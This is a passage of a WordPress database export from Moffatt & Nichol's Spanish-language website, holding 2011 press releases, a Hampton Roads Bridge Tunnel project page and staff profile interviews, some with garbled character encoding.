su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','publish','open','open','','press-releases-2011','','','2014-06-03 21:34:14','2014-06-03 21:34:14','',0,'http://moffattnichol.com/spanish/?page_id=1399',65,'page','',0),(1431,1,'2012-01-05 11:17:28','2012-01-05 11:17:28','<div class=\"banner-space\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured-solution.jpg\" alt=\"\" /></div>\r\n<div class=\"ports-left\">\r\n<h1>solución creativa presentada</h1>\r\n<p style=\"text-align: left;\">Parcialmente túnel, parcialmente puente, el Hampton Roads Bridge Tunnel (HRBT) I-64 tiene un lugar en la historia como hito en la ingeniería: es el primer túnel sumergido en el mundo conectado con islas artificiales. En 1957, se inauguró el HRBT de dos carriles y 3,5 millas (5,6 km) de longitud, ofreciendo a los conductores de la zona una ruta directa desde Norfolk hasta Hampton, Virginia, sin tener que esperar por un transbordador ni tener que conducir rodeando el agua.</p>\r\n<p style=\"text-align: left;\">El HRBT sirve hoy en día a cerca de tres millones de vehículos al mes, como uno de la familia de 10 puentes y puentes-túneles que ayudan a los conductores a navegar el puerto de Hampton Road, por encima y por debajo de los canales de navegación. En el HRBT, los volúmenes de tráfico superan los 100.000 vehículos durante la estación turística, por lo que los planificadores han comenzado a buscar alternativas para mantener el flujo del público en movimiento a través del puente-túnel.</p>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol, aportando su experiencia en diseño de puentes y frentes costeros, trabajó como miembro del equipo consultor para un estudio de factibilidad en el año 2008 que exploró la mejora del nivel de servicio del HRBT. El Departamento de Transporte de Virginia (VDOT, por sus siglas en inglés) identificó seis alternativas posibles que agregarían carriles usando una solución de puente o túnel para atenuar la recurrente congestión. Moffatt &amp; Nichol proporcionó la información del diseño conceptual para estas alternativas de puente de alto nivel.</p>\r\n<p style=\"text-align: left;\">Aunque aún no se ha realizado una selección, VDOT continúa estudiando el corredor HRBT y recientemente solicitó un Informe de impacto medioambiental en apoyo de los estudios para las mejoras.</p>\r\n<p>&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n&nbsp;<br />\r\n</p>\r\n\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Soluciones prácticas presentadas','','publish','open','open','','featured-practical-solutions','','','2012-09-07 11:22:18','2012-09-07 11:22:18','',0,'http://moffattnichol.com/spanish/?page_id=1431',113,'page','',0),(1458,1,'2012-01-05 15:50:06','2012-01-05 15:50:06','','Azadeh','','inherit','open','open','','azadeh','','','2012-01-05 15:50:06','2012-01-05 15:50:06','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Azadeh.jpg',0,'attachment','image/jpeg',0),(1467,1,'2012-01-06 04:14:05','2012-01-06 04:14:05','','press-releases-one','','inherit','open','open','','press-releases-one','','','2012-01-06 04:14:05','2012-01-06 04:14:05','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/press-releases-one.jpg',0,'attachment','image/jpeg',0),(1474,1,'2012-01-06 05:36:31','2012-01-06 05:36:31','','Azadeh','','inherit','open','open','','azadeh-2','','','2012-01-06 05:36:31','2012-01-06 05:36:31','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Azadeh1.jpg',0,'attachment','image/jpeg',0),(1477,1,'2012-01-06 06:10:30','2012-01-06 06:10:30','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\" alt=\"\" title=\"Matt\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1600\" /></a>\r\nUniversidad de California, San Diego \r\n\r\nMatt está dedicándose actualmente a obtener una maestría en ingeniería estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal Politécnica de California, San Luis Obispo. Matt se unirá a la oficina de San Diego y trabajará de cerca con el grupo estructural.\r\n \r\nMatt decidió estudiar ingeniería porque disfruta la mezcla de creatividad, sentido práctico y pensamiento analítico que se requiere para solucionar los desafíos de ingeniería. Después de una pasantía en Moffatt & Nichol los dos últimos veranos, Matt ha trabajado con varios proyectos de ingeniería estructural, desde un puente de acero hasta caballetes de carga de concreto y madera. Con cada proyecto, ha aprendido lecciones importantes que no habría aprendido en sus clases. En su tiempo libre, Matt disfruta de pasar tiempo al aire libre, ya sea de excursión o en bicicleta de montaña. Después de terminar sus estudios de posgrado, espera tener un poco más de tiempo libre los fines de semana.','Matt','<p class=\"para-text\">\r\n<strong> Matt,</strong>\r\nUniversidad de California, San Diego Matt está dedicándose actualmente a obtener una maestría en ingeniería estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal Politécnica de California, San Luis Obispo. Matt se unirá a la oficina de San Diego y trabajará de cerca con el grupo estructural. .<p>','publish','open','open','','matt','','','2012-06-20 07:53:05','2012-06-20 07:53:05','',0,'http://moffattnichol.com/spanish/?p=1477',0,'post','',0),(1478,1,'2012-01-06 06:10:07','2012-01-06 06:10:07','','Matt','','inherit','open','open','','matt','','','2012-01-06 06:10:07','2012-01-06 06:10:07','',1477,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg',0,'attachment','image/jpeg',0),(1499,1,'2012-01-06 07:18:47','2012-01-06 07:18:47','','Walter','','inherit','open','open','','walter','','','2012-01-06 07:18:47','2012-01-06 07:18:47','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Walter.jpg',0,'attachment','image/jpeg',0),(1501,1,'2012-01-11 07:35:18','2012-01-11 02:05:18','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg\"><img class=\"alignnone size-full wp-image-1502\" title=\"Kevin\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg\" alt=\"\" width=\"150\" height=\"152\" /></a>\r\n<p class=\"para-text\">\r\n<strong> Kevin</strong>\r\nEncargado, Manipulación de materiales \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nEn realidad, soy nuevo en la compañía. He estado con la firma solo algunos meses.  \r\n \r\n<strong>¿Qué lo trajo a Moffatt & Nichol?</strong>\r\nLos proyectos de la firma, su ambiente de trabajo, la gente y la ubicación de la oficina me atrajeron. Desde que he estado aquí, he confirmado mi decisión de venir a Moffatt & Nichol.  \r\n \r\n<strong>¿Cómo describiría su función?</strong>\r\nMe contrataron como Encargado de manipulación de materiales, y estoy a cargo de crear un departamento para apoyar la cartera de la firma en el área de instalaciones de manipulación de materiales a granel. Es un reto muy emocionante para mí, tanto en lo personal como en lo profesional.  \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong> \r\nEl trabajo varía constantemente, así que tengo la oportunidad de trabajar en muchas áreas, desde desarrollos de terminales de contenedores y carbón o reparaciones estructurales marítimas hasta estudios de redes de transporte.\r\n \r\n<strong>¿Qué es lo que le da más satisfacción de su función? </strong>\r\nSiento que he podido aportar resultados casi inmediatos debido a mi experiencia y formación. Una de las cosas que me emocionan más sobre mi trabajo es poder guiar a profesionales jóvenes de ingeniería.</p>','Kevin','<p class=\"para-text\">\r\n<strong> Kevin</strong>\r\nEncargado, ManipulaciÃ³n de materiales \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nEn realidad, soy nuevo en la compaÃ±Ãa. He estado con la firma solo algunos meses.  \r\n \r\n<strong>Â¿QuÃ© lo trajo a Moffatt & Nichol?</strong>\r\nLos proyectos de la firma, su ambiente de trabajo, la gente y la ubicaciÃ³n de la oficina me atrajeron. Desde que he estado aquÃ, he confirmado mi decisiÃ³n de venir a Moffatt & Nichol.  </p>','publish','open','open','','kevin','','','2012-09-06 09:48:29','2012-09-06 09:48:29','',0,'http://moffattnichol.com/spanish/?p=1501',0,'post','',0),(1502,1,'2012-01-06 07:34:50','2012-01-06 07:34:50','','Kevin','','inherit','open','open','','kevin-2','','','2012-01-06 07:34:50','2012-01-06 07:34:50','',1501,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg',0,'attachment','image/jpeg',0),(1507,1,'2012-01-10 07:42:52','2012-01-10 02:12:52','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\" alt=\"\" title=\"david\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1508\" /></a>\r\n<p class=\"para-text\">\r\n<strong>David</strong>\r\nGerente general, Oficina de Colombia  \r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nSabía de Moffatt & Nichol a través de mi trabajo en la industria de ingeniería marítima pero la decisión para unirme fue motivada sobre todo por la recomendación y las buenas experiencias de uno de mis colegas más respetados, que se había unido la firma dos años antes.  \r\n \r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nSuena a cliché, pero tengo la suerte de estar en una posición donde cada día trae un nuevo desafío, así que el trabajo siempre es interesante. \r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nManejé grandes proyectos en la oficina de Nueva York de la compañía hasta que tuve la oportunidad de trasladarme a Panamá y de apoyar la oficina de allí. Eso llevó a la oportunidad de abrir una nueva sucursal en Bogotá, Colombia, donde trabajo actualmente. \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong> \r\nEl trabajo varía constantemente, así que tengo la oportunidad de trabajar en muchas áreas, desde desarrollos de terminales de contenedores y carbón o reparaciones estructurales marítimas hasta estudios de redes de transporte.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nEn términos de proyectos empresariales, la compañía ha comenzado a enfocarse en trabajo internacional más que cuando me uní por primero vez, proporcionando nuevos y diversos desafíos tanto en la adquisición como en la finalización de proyectos.\r\nEn términos de atmósfera laboral, no ha cambiado realmente - y me gusta eso. A través de los buenos y malos tiempos de la economía, la compañía ha mantenido una pequeña compañía, con una atmósfera familiar que fomenta un sentido de cooperación entre los empleados y las oficinas.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nLa primera cosa que fue evidente de inmediato cuando me uní a Moffatt & Nichol era lo bien que las varias oficinas y sus empleados trabajaban juntos. Como mencioné, un fuerte espíritu cooperativo penetra la organización y uno puede sentirse realmente como parte de algo mayor que la suma de sus componentes. Pienso que esto viene de conservar una atmósfera de negocio familiar, incluso a medida que la compañía y la escala de los proyectos siguen creciendo.\r\n</p>','David ','<p class=\"para-text\">\r\n<strong> David </strong>\r\nGerente general, Oficina de Colombia  \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nSabÃa de Moffatt & Nichol a travÃ©s de mi trabajo en la industria de ingenierÃa marÃtima pero la decisiÃ³n para unirme fue motivada sobre todo por la recomendaciÃ³n y las buenas experiencias de uno de mis colegas mÃ¡s respetados, que se habÃa unido la firma dos aÃ±os antes.  \r\n</p>','publish','open','open','','david','','','2013-01-29 12:44:05','2013-01-29 12:44:05','',0,'http://moffattnichol.com/spanish/?p=1507',0,'post','',0),(1508,1,'2012-01-06 07:42:31','2012-01-06 07:42:31','','david','','inherit','open','open','','david','','','2012-01-06 07:42:31','2012-01-06 07:42:31','',1507,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg',0,'attachment','image/jpeg',0),(1511,1,'2012-01-09 07:50:00','2012-01-09 02:20:00','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\" alt=\"\" title=\"Pierce\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1512\" /></a>\r\n<p class=\"para-text\">\r\n<strong> Pierce  </strong>\r\nDirector de transporte  \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nQuince meses\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nUn colega envió mi CV a alguien en Moffatt & Nichol, y fue tratado en una reunión de la dirección de la firma. Alguien reconoció mi nombre de mi trabajo en el sector público, y comenzamos un diálogo muy interesante.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que comenzó con nosotros?</strong>\r\nYo llegué a Moffatt & Nichol en la crisis de la recesión. El futuro era atemorizante. Ahora, lo atemorizante es cómo entregar productos incluso de más alta calidad a un precio aún menor.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nHe estado expuesto a proyectos y programas en las seis áreas de especialidad de la firma. También ayudo a la firma y a sus clientes, organizaciones comerciales y entidades del sector público en temas de gobernabilidad, obtención de fondos y problemas de riesgo asociados con el desarrollo de la infraestructura\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nPermítame utilizar una metáfora costera:  Moffatt & Nichol tiene éxito donde las olas del mar de las fuerzas institucionales y del mercado chocan con la ribera de roca de la ingeniería y la ciencia.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nVisitar una oficina de Moffatt & Nichol, escuchar y aprender de gente inteligente y experimentada, ya sean ingenieros, planificadores, economistas o profesionales de desarrollo de negocios.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nHumildad y honradez. Cuanto más grande una organización llega a ser, más difícil es mantener esos valores. Moffatt & Nichol ha mantenido estos valores durante toda su herencia de más de 60 años.\r\n\r\n</p>\r\n\r\n','Pierce  ','<p class=\"para-text\">\r\n<strong> Pierce  </strong>\r\nDirector de transporte  \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nQuince meses\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nUn colega enviÃ³ mi CV a alguien en Moffatt & Nichol, y fue tratado en una reuniÃ³n de la direcciÃ³n de la firma. Alguien reconociÃ³ mi nombre de mi trabajo en el sector pÃºblico, y comenzamos un diÃ¡logo muy interesante.\r\n<p/>','publish','open','open','','pierce','','','2012-09-06 09:50:56','2012-09-06 09:50:56','',0,'http://moffattnichol.com/spanish/?p=1511',0,'post','',0),(1512,1,'2012-01-06 07:49:40','2012-01-06 07:49:40','','Pierce','','inherit','open','open','','pierce','','','2012-01-06 07:49:40','2012-01-06 07:49:40','',1511,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg',0,'attachment','image/jpeg',0),(1514,1,'2012-01-08 07:54:19','2012-01-08 02:24:19','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\" alt=\"\" title=\"Loraine\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1515\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>¿Cómo llegó a la compañía? </strong>\r\n Fui recomendada por un amigo que me informó que Moffatt & Nichol estaba enfocándose en el mercado latinoamericano. Pensé que esta podría ser una asignación emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>¿Qué le ha mantenido con la compañía?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y también tener la oportunidad de asumir más responsabilidad.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nYa que esta era una nueva oficina en una nueva región, inicialmente pasé mucho tiempo en licitaciones, buscando trabajo. Desde entonces hemos ganado algunos proyectos muy variados que estoy manejando actualmente.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nHe trabajado en diferentes instalaciones marítimas; a saber, terminales de carga seca a granel, terminales de contenedores, terminales de carga líquida a granel y puertos deportivos. Nuestra área de competencia ha abarcado desde estudios de mercado hasta la selección del lugar, desarrollo de concepto, estudios costeros, simulaciones de navegación, ingeniería básica e ingeniería de detalle.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nA pesar de estar dispersas por el mundo, las oficinas de Moffatt & Nichol trabajan juntas como un equipo unido. Es un ambiente muy amigable de trabajo, con el personal de todas las oficinas ayudándose entre sí de forma cotidiana.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nDebido a que tengo la oportunidad de trabajar en una variedad de proyectos, siento que me he formado mejor como ingeniera. \r\n</p>\r\n','Loraine ','<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ã</strong>a? Fui recomendada por un amigo que me informÃ³ que Moffatt & Nichol estaba enfocÃ¡ndose en el mercado latinoamericano. PensÃ© que esta podrÃa ser una asignaciÃ³n emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido con la compaÃ±Ãa?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y tambiÃ©n tener la oportunidad de asumir mÃ¡s responsabilidad.\r\n\r\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\r\n</p>','publish','open','open','','loraine','','','2013-01-09 06:14:08','2013-01-09 06:14:08','',0,'http://moffattnichol.com/spanish/?p=1514',0,'post','',0),(1515,1,'2012-01-06 07:53:46','2012-01-06 07:53:46','','Loraine','','inherit','open','open','','loraine','','','2012-01-06 07:53:46','2012-01-06 07:53:46','',1514,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg',0,'attachment','image/jpeg',0),(1517,1,'2012-01-07 07:57:51','2012-01-07 02:27:51','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\" alt=\"\" title=\"Gerry\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1518\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe uní a la compañía en 1998\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nPor asociación anterior con Moffatt & Nichol Engineers\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nLa variedad del trabajo que hacemos y la personalidad de la firma.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó? </strong>\r\nIngeniero de diseño de cimentaciones para el puente de la bahía de Oakland, San Francisco.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja o ha trabajado?</strong>\r\n- Cimentaciones de puentes\r\n- Estudios y diseños de terminales marítimas \r\n- Cimentaciones y subestructuras de turbinas eólicas\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia? </strong>\r\nLa compañía ofrece una amplia gama de capacidades, la individualidad de los empleados y la buena voluntad de las oficinas para compartir el trabajo y la experiencia profesional, y una estructura corporativa que no es demasiado formal.\r\n\r\n</p>\r\n','Gerry','<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe unÃ a la compaÃ±Ãa en 1998\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nPor asociaciÃ³n anterior con Moffatt & Nichol Engineers</p>','publish','open','open','','gerry','','','2013-01-09 06:12:16','2013-01-09 06:12:16','',0,'http://moffattnichol.com/spanish/?p=1517',0,'post','',0),(1518,1,'2012-01-06 07:57:29','2012-01-06 07:57:29','','Gerry','','inherit','open','open','','gerry','','','2012-01-06 07:57:29','2012-01-06 07:57:29','',1517,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg',0,'attachment','image/jpeg',0),(1521,1,'2012-01-06 08:01:29','2012-01-06 08:01:29','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg\" alt=\"\" title=\"Stephanie\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1522\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Stephanie </strong>\r\nIngeniera de transporte/Ingeniera de proyectos \r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nFui contratada después de graduarme de la universidad en 2002. Me enteré sobre Moffatt & Nichol en una feria profesional.\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong> \r\nAdemás de la oportunidad de trabajar en una variedad de proyectos, las personas con las que trabajo hacen agradable mi empleo. Los que tienen más experiencia están dispuestos a tomarse tiempo para compartir sus conocimientos con ingenieros más jóvenes. \r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nFui contratada como ingeniera de nivel inicial. He progresado hasta ser ingeniera principal de proyectos, trabajando directamente con clientes e ingenieros más jóvenes en entrenamiento.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nTrabajo principalmente en proyectos de transporte/civiles. He trabajado en proyectos asociados con rehabilitación de calzadas locales/paisaje urbano y diseño de carreteras, de terminales de transbordadores y de vías férreas.  Específicamente, trabajo en proyectos que implican la geometría de la calzada, análisis de alternativas, nivelación y diseño de drenajes, cálculos de movimientos de tierra, diseño de la sección estructural del pavimento, estimados de costos de construcción, y diseño y coordinación de servicios públicos. Actualmente, estoy trabajando una compleja extensión de una línea ferroviaria. \r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nHemos crecido de tamaño y ahora tenemos oficinas en ubicaciones internacionales. \r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nDebido a que Moffatt & Nichol no es una enorme corporación, los empleados sienten que no son solo un número. También tenemos muchas personas que han trabajado para la compañía por años (¡o décadas!); eso es una buena indicación de que disfrutan de trabajar aquí.\r\n</p>','Stephanie ','<p class=\"para-text\">\r\n<strong>Stephanie </strong>\r\nIngeniera de transporte/Ingeniera de proyectos \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nFui contratada despuÃ©s de graduarme de la universidad en 2002. Me enterÃ© sobre Moffatt & Nichol en una feria profesional.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong> \r\nAdemÃ¡s de la oportunidad de trabajar en una variedad de proyectos, las personas con las que trabajo hacen agradable mi empleo. Los que tienen mÃ¡s experiencia estÃ¡n dispuestos a tomarse tiempo para compartir sus conocimientos con ingenieros mÃ¡s jÃ³venes. </p>','publish','open','open','','stephanie','','','2012-09-06 10:01:42','2012-09-06 10:01:42','',0,'http://moffattnichol.com/spanish/?p=1521',0,'post','',0),(1522,1,'2012-01-06 08:01:08','2012-01-06 08:01:08','','Stephanie','','inherit','open','open','','stephanie','','','2012-01-06 08:01:08','2012-01-06 08:01:08','',1521,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Stephanie.jpg',0,'attachment','image/jpeg',0),(1524,1,'2012-01-05 08:05:06','2012-01-05 02:35:06','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\" alt=\"\" title=\"victor\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1525\" /></a>\r\n\r\n<strong>Victor</strong>\r\nTécnico en CADD civil \r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nHe permanecido con la firma durante tanto tiempo porque el trabajo es estimulante y las personas son excelentes.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó?</strong>\r\nComencé como técnico CADD civil \r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nHe progresado desde ser un técnico a ser coordinador de red interino y encargado de CADD para la oficina de San Diego\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nHe trabajado en varios proyectos de dragado y algunos proyectos civiles\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nAfortunadamente, la compañía no ha cambiado mucho desde que he estado aquí, y estoy agradecido por eso.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nVeo mi ambiente como un negocio familiar; nos llevamos bien para un propósito 